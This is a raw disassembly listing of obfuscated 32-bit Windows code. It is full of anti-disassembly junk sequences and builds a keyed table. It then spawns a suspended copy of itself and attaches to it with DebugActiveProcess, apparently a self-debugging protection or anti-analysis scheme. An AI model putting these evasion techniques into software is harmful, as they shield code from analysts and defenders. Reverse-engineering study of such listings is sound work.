		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B91C1


loc_4B91BE:				; CODE XREF: .text:004B91DFj
		jmp	short near ptr loc_4B91E1+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B91C1:				; CODE XREF: .text:004B91BCj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B91D4
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B91CA:				; CODE XREF: .text:004B91D6j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B91D8
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B91D4:				; CODE XREF: .text:004B91C5j
		xor	eax, eax
		jz	short loc_4B91CA


loc_4B91D8:				; CODE XREF: .text:004B91D1j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B91BE


loc_4B91E1:				; CODE XREF: .text:loc_4B91BEj
		jmp	near ptr 92B22F47h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, dword_4F4768
		shl	eax, 2
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18E4h], eax
		mov	ecx, [ebp-18E4h]
		mov	dword_4F4770, ecx
		mov	edx, dword_4F4768
		shl	edx, 4
		shl	edx, 2
		push	edx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18E8h], eax
		mov	eax, [ebp-18E8h]
		mov	dword_4F474C, eax
		mov	ecx, dword_4F4768
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18ECh], eax
		mov	edx, [ebp-18ECh]
		mov	dword_4F4774, edx
		mov	eax, dword_4F4768
		shl	eax, 2
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18F0h], eax ; CODE	XREF: .text:004B92D7j
		mov	ecx, [ebp-18F0h]
		mov	dword_4F4778, ecx
		push	1000h
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18F4h], eax
		mov	edx, [ebp-18F4h]
		mov	dword_4F477C, edx
		mov	eax, dword_4F4768
		shl	eax, 2
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-18F8h], eax
		mov	ecx, [ebp-18F8h]
		mov	dword_4F4748, ecx
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B92F3 ; CODE	XREF: .text:loc_4B92F3j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B92CB:				; CODE XREF: .text:004B92ECj
		jmp	short loc_4B92EA
; ---------------------------------------------------------------------------


loc_4B92CD:				; CODE XREF: .text:loc_4B92EAj
		xor	ecx, ecx


loc_4B92CF:				; CODE XREF: .text:004B92DEj
		jz	short $+2
		jmp	short loc_4B92E3
; ---------------------------------------------------------------------------


loc_4B92D3:				; CODE XREF: .text:004B92E7j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4B9268+1
		jmp	short loc_4B92E0
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B92DC:				; CODE XREF: .text:loc_4B92E0j
		jmp	short loc_4B92EE
; ---------------------------------------------------------------------------
		jz	short loc_4B92CF


loc_4B92E0:				; CODE XREF: .text:004B92D9j
		jnb	short loc_4B92DC
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B92E3:				; CODE XREF: .text:004B92D1j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B92D3
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B92EA:				; CODE XREF: .text:loc_4B92CBj
		jmp	short loc_4B92CD
; ---------------------------------------------------------------------------
		jmp	short loc_4B92CB
; ---------------------------------------------------------------------------


loc_4B92EE:				; CODE XREF: .text:loc_4B92DCj
		repne sbb al, 0DBh
		jmp	short loc_4B92F6
; ---------------------------------------------------------------------------


loc_4B92F3:				; CODE XREF: .text:004B92C6j
		jmp	short near ptr loc_4B92C6+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B92F6:				; CODE XREF: .text:004B92F1j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	edx, dword_4ED424
		xor	edx, [ebp-38h]
		mov	[ebp-24h], edx
		mov	dword ptr [ebp-4Ch], 0
		jmp	short loc_4B931E
; ---------------------------------------------------------------------------


loc_4B9315:				; CODE XREF: .text:004B96BAj
		mov	eax, [ebp-4Ch]
		add	eax, 1
		mov	[ebp-4Ch], eax


loc_4B931E:				; CODE XREF: .text:004B9313j
		mov	ecx, dword_4F4768
		shl	ecx, 4
		cmp	[ebp-4Ch], ecx
		jge	loc_4B96BF
		mov	dword ptr [ebp-1A00h], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19F4h], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19F0h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19FCh], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-19F8h], edx
		mov	ecx, [ebp-19F0h]
		imul	ecx, [ebp-19F8h]
		mov	edx, [ebp-19F4h]
		imul	edx, [ebp-19F8h]
		mov	eax, [ebp-19F0h]
		imul	eax, [ebp-19FCh]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A00h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-19ECh], eax
		mov	dword ptr [ebp-1A14h], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A08h], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A04h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A10h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A0Ch], edx
		mov	ecx, [ebp-1A04h]
		imul	ecx, [ebp-1A0Ch]
		mov	edx, [ebp-1A08h]
		imul	edx, [ebp-1A0Ch]
		mov	eax, [ebp-1A04h]
		imul	eax, [ebp-1A10h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A14h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-19E0h], eax
		mov	dword ptr [ebp-1A28h], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A1Ch], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A18h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A24h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A20h], edx
		mov	ecx, [ebp-1A18h]
		imul	ecx, [ebp-1A20h]
		mov	edx, [ebp-1A1Ch]
		imul	edx, [ebp-1A20h]
		mov	eax, [ebp-1A18h]
		imul	eax, [ebp-1A24h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A28h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-19E4h], eax
		mov	dword ptr [ebp-1A3Ch], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A30h], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A2Ch], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A38h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A34h], edx
		mov	ecx, [ebp-1A2Ch]
		imul	ecx, [ebp-1A34h]
		mov	edx, [ebp-1A30h]
		imul	edx, [ebp-1A34h]
		mov	eax, [ebp-1A2Ch]
		imul	eax, [ebp-1A38h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A3Ch]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh


loc_4B9666:				; CODE XREF: .text:loc_4B96DDj
		mov	[ebp-19E8h], eax
		mov	edx, [ebp-19E4h]
		shl	edx, 8
		mov	eax, [ebp-19E0h]
		shl	eax, 10h
		mov	ecx, [ebp-19ECh]
		shl	ecx, 18h
		or	ecx, eax
		or	ecx, edx
		or	ecx, [ebp-19E8h]
		xor	ecx, dword_4ED41C
		xor	ecx, dword_4ED424
		xor	ecx, dword_4ED3EC
		xor	ecx, dword_4ED428
		xor	ecx, dword_4ED3AC
		mov	edx, [ebp-4Ch]
		mov	eax, dword_4F474C
		mov	[eax+edx*4], ecx
		jmp	loc_4B9315
; ---------------------------------------------------------------------------


loc_4B96BF:				; CODE XREF: .text:004B932Aj
		pusha
		xor	eax, eax
		jnz	short loc_4B96C6
		jmp	short loc_4B96DB
; ---------------------------------------------------------------------------


loc_4B96C6:				; CODE XREF: .text:004B96C2j
		jmp	short loc_4B96FB
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4B96CD:				; CODE XREF: .text:loc_4B96DBj
		jo	short loc_4B96DD
		jmp	short near ptr loc_4B96DD+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4B96DB:				; CODE XREF: .text:004B96C4j
		jz	short loc_4B96CD


loc_4B96DD:				; CODE XREF: .text:loc_4B96CDj
					; .text:004B96CFj
		jmp	short loc_4B9666
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:45C76133h
		mov	eax, 0
		jmp	short loc_4B96F7
; ---------------------------------------------------------------------------


loc_4B96EE:				; CODE XREF: .text:004B9741j
		mov	ecx, [ebp-48h]
		add	ecx, 1
		mov	[ebp-48h], ecx


loc_4B96F7:				; CODE XREF: .text:004B96ECj
		mov	edx, [ebp-48h]
; ---------------------------------------------------------------------------
		db 3Bh
; ---------------------------------------------------------------------------


loc_4B96FB:				; CODE XREF: .text:loc_4B96C6j
		adc	eax, offset dword_4F4768
		jge	short loc_4B9743
		mov	eax, [ebp-48h]
		mov	ecx, dword_4F4770
		mov	dword ptr [ecx+eax*4], 0FFFFFFFFh
		mov	edx, [ebp-48h]
		mov	eax, dword_4F4774
		mov	dword ptr [eax+edx*4], 0
		mov	ecx, [ebp-48h]
		mov	edx, dword_4F4778
		mov	dword ptr [edx+ecx*4], 0FFFFFFFFh
		mov	eax, [ebp-48h]
		mov	ecx, dword_4F4748
		mov	dword ptr [ecx+eax*4], 0
		jmp	short loc_4B96EE
; ---------------------------------------------------------------------------


loc_4B9743:				; CODE XREF: .text:004B9700j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B9766


loc_4B9763:				; CODE XREF: .text:004B9784j
		jmp	short near ptr loc_4B9786+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9766:				; CODE XREF: .text:004B9761j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B9779
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B976F:				; CODE XREF: .text:004B977Bj
					; .text:loc_4B97E7j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B977D
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9779:				; CODE XREF: .text:004B976Aj
		xor	eax, eax
		jz	short loc_4B976F


loc_4B977D:				; CODE XREF: .text:004B9776j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B9763


loc_4B9786:				; CODE XREF: .text:loc_4B9763j
		jmp	near ptr 92B234ECh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	edx, dword_4F4768
		sar	edx, 1
		add	edx, 1
		mov	dword_4ED840, edx ; CODE XREF: .text:004B980Cj
		xor	eax, eax
		mov	al, byte_4F4742
		test	eax, eax
		jnz	short loc_4B97F1
		jo	short loc_4B97B4
		jl	short loc_4B97B2


loc_4B97AF:				; CODE XREF: .text:loc_4B97B2j
					; .text:loc_4B97B4j
		jmp	short loc_4B97B6
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B97B2:				; CODE XREF: .text:004B97ADj
		jz	short loc_4B97AF


loc_4B97B4:				; CODE XREF: .text:004B97ABj
		jmp	short loc_4B97AF
; ---------------------------------------------------------------------------


loc_4B97B6:				; CODE XREF: .text:loc_4B97AFj
		cmp	dword_4ED840, 6
		jnb	short loc_4B97C9
		mov	dword_4ED840, 6


loc_4B97C9:				; CODE XREF: .text:004B97BDj
		pusha
		xor	eax, eax
		jnz	short loc_4B97D0
		jmp	short loc_4B97E5
; ---------------------------------------------------------------------------


loc_4B97D0:				; CODE XREF: .text:004B97CCj
		jmp	short loc_4B9805
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4B97D7:				; CODE XREF: .text:loc_4B97E5j
		jo	short loc_4B97E7
		jmp	short near ptr loc_4B97E7+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4B97E5:				; CODE XREF: .text:004B97CEj
		jz	short loc_4B97D7


loc_4B97E7:				; CODE XREF: .text:loc_4B97D7j
					; .text:004B97D9j
		jmp	short near ptr loc_4B976F+1
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:62EB6133h


loc_4B97F1:				; CODE XREF: .text:004B97A9j
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B9828 ; CODE	XREF: .text:loc_4B9828j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B9800:				; CODE XREF: .text:004B9821j
		jmp	short loc_4B981F
; ---------------------------------------------------------------------------


loc_4B9802:				; CODE XREF: .text:loc_4B981Fj
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------


loc_4B9805:				; CODE XREF: .text:loc_4B97D0j
		add	bl, ch
		adc	cl, bh		; CODE XREF: .text:004B981Cj
		xor	ecx, 3
		jz	short near ptr loc_4B979A+4
		jmp	short loc_4B9815
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B9811:				; CODE XREF: .text:loc_4B9815j
		jmp	short loc_4B9823
; ---------------------------------------------------------------------------
		db 74h
		db 0EFh
; ---------------------------------------------------------------------------


loc_4B9815:				; CODE XREF: .text:004B980Ej
		jnb	short loc_4B9811
		repne sbb bl, bl
		xor	ebx, ebx
		jmp	short near ptr loc_4B9807+1
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B981F:				; CODE XREF: .text:loc_4B9800j
		jmp	short loc_4B9802
; ---------------------------------------------------------------------------
		jmp	short loc_4B9800
; ---------------------------------------------------------------------------


loc_4B9823:				; CODE XREF: .text:loc_4B9811j
		repne sbb al, 0DBh
		jmp	short loc_4B982B
; ---------------------------------------------------------------------------


loc_4B9828:				; CODE XREF: .text:004B97FBj
		jmp	short near ptr loc_4B97FB+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B982B:				; CODE XREF: .text:004B9826j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		cmp	dword_4ED840, 12h
		jnb	short loc_4B9848
		mov	dword_4ED840, 12h


loc_4B9848:				; CODE XREF: .text:004B983Cj
		jo	short loc_4B9851
		jl	short loc_4B984F


loc_4B984C:				; CODE XREF: .text:loc_4B984Fj
					; .text:loc_4B9851j
		jmp	short loc_4B9853
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B984F:				; CODE XREF: .text:004B984Aj
		jz	short loc_4B984C


loc_4B9851:				; CODE XREF: .text:loc_4B9848j
		jmp	short loc_4B984C
; ---------------------------------------------------------------------------


loc_4B9853:				; CODE XREF: .text:loc_4B984Cj
		push	offset aKernel32_0 ; "Kernel32"
		call	dword_4ED07C	; LoadLibraryA
		mov	[ebp-30h], eax
		push	offset aOutputdebugstr ; "OutputDebugStringA"
		mov	ecx, [ebp-30h]
		push	ecx
		call	dword_4ED074	; GetProcAddress
		mov	[ebp-44h], eax
		push	offset aOutputdebugs_0 ; "OutputDebugStringW"
		mov	edx, [ebp-30h]
		push	edx
		call	dword_4ED074	; GetProcAddress
		mov	[ebp-1Ch], eax
		mov	eax, dword_4ED3DC
		xor	eax, dword_4ED3FC
		xor	eax, dword_4ED3F0
		and	eax, 2
		test	eax, eax
		jz	short loc_4B98A2
		call	sub_4B3AA2


loc_4B98A2:				; CODE XREF: .text:004B989Bj
		lea	ecx, [ebp-100h]
		mov	dword_4F4750, ecx
		xor	edx, edx
		mov	dl, byte_4F4780
		test	edx, edx
		jnz	loc_4B99AC
		lea	eax, [ebp-470h]
		push	eax
		call	dword_4ED094	; GetStartupInfoA
		mov	cl, byte_4F4120
		mov	[ebp-574h], cl
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-573h]
		rep stosd
		stosw
		stosb
		mov	dl, byte_4F4120
		mov	[ebp-42Ch], dl
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-42Bh]
		rep stosd
		stosw
		stosb
		mov	eax, [ebp+8]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B9940
		cmp	dword ptr [ebp-464h], 0
		jnz	short loc_4B9940
		lea	ecx, [ebp-574h]
		push	ecx
		call	sub_4B72D0
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B9940
		lea	edx, [ebp-574h]
		mov	[ebp-464h], edx


loc_4B9940:				; CODE XREF: .text:004B9911j
					; .text:004B991Aj ...
		push	104h
		lea	eax, [ebp-42Ch]
		push	eax
		push	0
		call	dword_4ED1C4	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4B995F
		xor	al, al
		jmp	loc_4BC14E
; ---------------------------------------------------------------------------


loc_4B995F:				; CODE XREF: .text:004B9956j
		mov	ecx, dword_4F4750
		push	ecx
		lea	edx, [ebp-470h]
		push	edx
		push	0
		push	0
		push	4
		push	1
		push	0
		push	0
		call	dword_4ED090	; GetCommandLineA
		push	eax
		lea	eax, [ebp-42Ch]
		push	eax
		call	dword_4ED08C	; CreateProcessA
		test	eax, eax
		jnz	short loc_4B9998
		xor	al, al
		jmp	loc_4BC14E
; ---------------------------------------------------------------------------


loc_4B9998:				; CODE XREF: .text:004B998Fj
		mov	ecx, [ebp-0F8h]
		push	ecx
		call	sub_4B4581
		add	esp, 4
		jmp	loc_4B9A96
; ---------------------------------------------------------------------------


loc_4B99AC:				; CODE XREF: .text:004B98B8j
		lea	edx, [ebp-7C0h]
		push	edx
		call	dword_4ED0FC	; GetStartupInfoW
		mov	ax, word_4F4124
		mov	[ebp-9C8h], ax
		mov	ecx, 81h
		xor	eax, eax
		lea	edi, [ebp-9C6h]
		rep stosd
		stosw
		mov	cx, word_4F4124
		mov	[ebp-77Ch], cx
		mov	ecx, 81h
		xor	eax, eax
		lea	edi, [ebp-77Ah]
		rep stosd
		stosw
		mov	edx, [ebp+8]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4B9A30
		cmp	dword ptr [ebp-7B4h], 0
		jnz	short loc_4B9A30
		lea	eax, [ebp-9C8h]
		push	eax
		call	sub_4B735F
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B9A30
		lea	ecx, [ebp-9C8h]
		mov	[ebp-7B4h], ecx


loc_4B9A30:				; CODE XREF: .text:004B9A01j
					; .text:004B9A0Aj ...
		push	104h
		lea	edx, [ebp-77Ch]
		push	edx
		push	0
		call	dword_4ED1BC	; GetModuleFileNameW
		test	eax, eax
		jnz	short loc_4B9A4F
		xor	al, al
		jmp	loc_4BC14E
; ---------------------------------------------------------------------------


loc_4B9A4F:				; CODE XREF: .text:004B9A46j
		mov	eax, dword_4F4750
		push	eax
		lea	ecx, [ebp-7C0h]
		push	ecx
		push	0
		push	0
		push	4
		push	1
		push	0
		push	0
		call	dword_4ED0F8	; GetCommandLineW
		push	eax
		lea	edx, [ebp-77Ch]
		push	edx
		call	dword_4ED0F4	; CreateProcessW
		test	eax, eax
		jnz	short loc_4B9A87
		xor	al, al
		jmp	loc_4BC14E
; ---------------------------------------------------------------------------


loc_4B9A87:				; CODE XREF: .text:004B9A7Ej
		mov	eax, [ebp-0F8h]
		push	eax
		call	sub_4B4581
		add	esp, 4


loc_4B9A96:				; CODE XREF: .text:004B99A7j
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	[ebp-0F0h], eax
		mov	ecx, [ebp-0F0h]
		mov	edx, [ebp-0F0h]
		add	edx, [ecx+3Ch]
		mov	[ebp-20Ch], edx
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	ecx, [ebp-20Ch]
		add	eax, [ecx+28h]
		mov	[ebp-40h], eax
		push	0
		call	dword_4ED050	; GetModuleHandleA
		mov	edx, [ebp-20Ch]
		sub	eax, [edx+34h]
		mov	[ebp-3Ch], eax
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B9B04


loc_4B9B01:				; CODE XREF: .text:004B9B22j
		jmp	short near ptr loc_4B9B24+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9B04:				; CODE XREF: .text:004B9AFFj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B9B17
; ---------------------------------------------------------------------------
		dw 0EBB8h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4B9B0D:				; CODE XREF: .text:004B9B19j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B9B1B
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B9B17:				; CODE XREF: .text:004B9B08j
		xor	eax, eax
		jz	short loc_4B9B0D


loc_4B9B1B:				; CODE XREF: .text:004B9B14j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B9B01


loc_4B9B24:				; CODE XREF: .text:loc_4B9B01j
		jmp	near ptr 92B2388Ah
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, [ebp-40h]
		push	eax
		push	1
		mov	ecx, dword_4F4750
		push	ecx
		call	loc_4BDCE9
		add	esp, 0Ch
		mov	edx, [ebp-40h]
		push	edx
		mov	eax, dword_4F4750
		push	eax
		call	sub_4BDF17
		add	esp, 8
		mov	ecx, dword_4F4750
		mov	edx, [ecx+4]
		push	edx
		call	dword_4ED0F0	; ResumeThread
		mov	eax, dword_4F4750
		mov	ecx, [eax+8]	; CODE XREF: .text:004B9BD8j
		push	ecx
		call	dword_4ED0EC	; DebugActiveProcess
		mov	[ebp-20h], eax
		mov	edx, dword_4F4750
		mov	eax, [edx+4]
		push	eax
		call	dword_4ED1C8	; SuspendThread
		mov	ecx, [ebp-40h]
		push	ecx
		push	0
		mov	edx, dword_4F4750
		push	edx
		call	loc_4BDCE9
		add	esp, 0Ch
		mov	eax, dword_4F4750
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, dword_4F4750
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_4BDB47
		add	esp, 8
		mov	dword ptr [ebp-34h], 0
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4B9BF4 ; CODE	XREF: .text:loc_4B9BF4j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4B9BCC:				; CODE XREF: .text:004B9BEDj
		jmp	short loc_4B9BEB
; ---------------------------------------------------------------------------


loc_4B9BCE:				; CODE XREF: .text:loc_4B9BEBj
		xor	ecx, ecx


loc_4B9BD0:				; CODE XREF: .text:004B9BDFj
		jz	short $+2
		jmp	short loc_4B9BE4
; ---------------------------------------------------------------------------


loc_4B9BD4:				; CODE XREF: .text:004B9BE8j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4B9B69+1
		jmp	short loc_4B9BE1
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4B9BDD:				; CODE XREF: .text:loc_4B9BE1j
		jmp	short loc_4B9BEF
; ---------------------------------------------------------------------------
		jz	short loc_4B9BD0


loc_4B9BE1:				; CODE XREF: .text:004B9BDAj
		jnb	short loc_4B9BDD
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4B9BE4:				; CODE XREF: .text:004B9BD2j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4B9BD4
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4B9BEB:				; CODE XREF: .text:loc_4B9BCCj
		jmp	short loc_4B9BCE
; ---------------------------------------------------------------------------
		jmp	short loc_4B9BCC
; ---------------------------------------------------------------------------


loc_4B9BEF:				; CODE XREF: .text:loc_4B9BDDj
		repne sbb al, 0DBh
		jmp	short loc_4B9BF7
; ---------------------------------------------------------------------------


loc_4B9BF4:				; CODE XREF: .text:004B9BC7j
		jmp	short near ptr loc_4B9BC7+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4B9BF7:				; CODE XREF: .text:004B9BF2j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		lea	ecx, [ebp-34h]
		push	ecx
		push	0
		mov	edx, dword_4F4750
		mov	eax, [edx]
		push	eax
		push	offset sub_4B78A3
		push	0
		push	0
		call	dword_4ED02C	; CreateThread
		push	eax
		call	dword_4ED0E8	; CloseHandle
		mov	ecx, [ebp+8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4B9C39
		call	dword_4ED064	; FreeConsole


loc_4B9C39:				; CODE XREF: .text:004B9C31j
		mov	byte ptr [ebp-210h], 1
		mov	byte ptr [ebp-0E8h], 0
		mov	byte ptr [ebp-0E4h], 0


loc_4B9C4E:				; CODE XREF: .text:004BC11Aj
		push	offset dword_4F45B0
		call	dword_4ED1B4	; InitializeCriticalSection
		mov	dword ptr [ebp-4], 0
		lea	edx, [ebp-0A2Ch]
		mov	[ebp-0A30h], edx
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B9C8F


loc_4B9C8C:				; CODE XREF: .text:004B9CADj
		jmp	short near ptr loc_4B9CAF+1
; ---------------------------------------------------------------------------
byte_4B9C8E	db 0EBh			; CODE XREF: .text:loc_4B9D05j
; ---------------------------------------------------------------------------


loc_4B9C8F:				; CODE XREF: .text:004B9C8Aj
		xor	ebx, ebx
		jz	short $+2
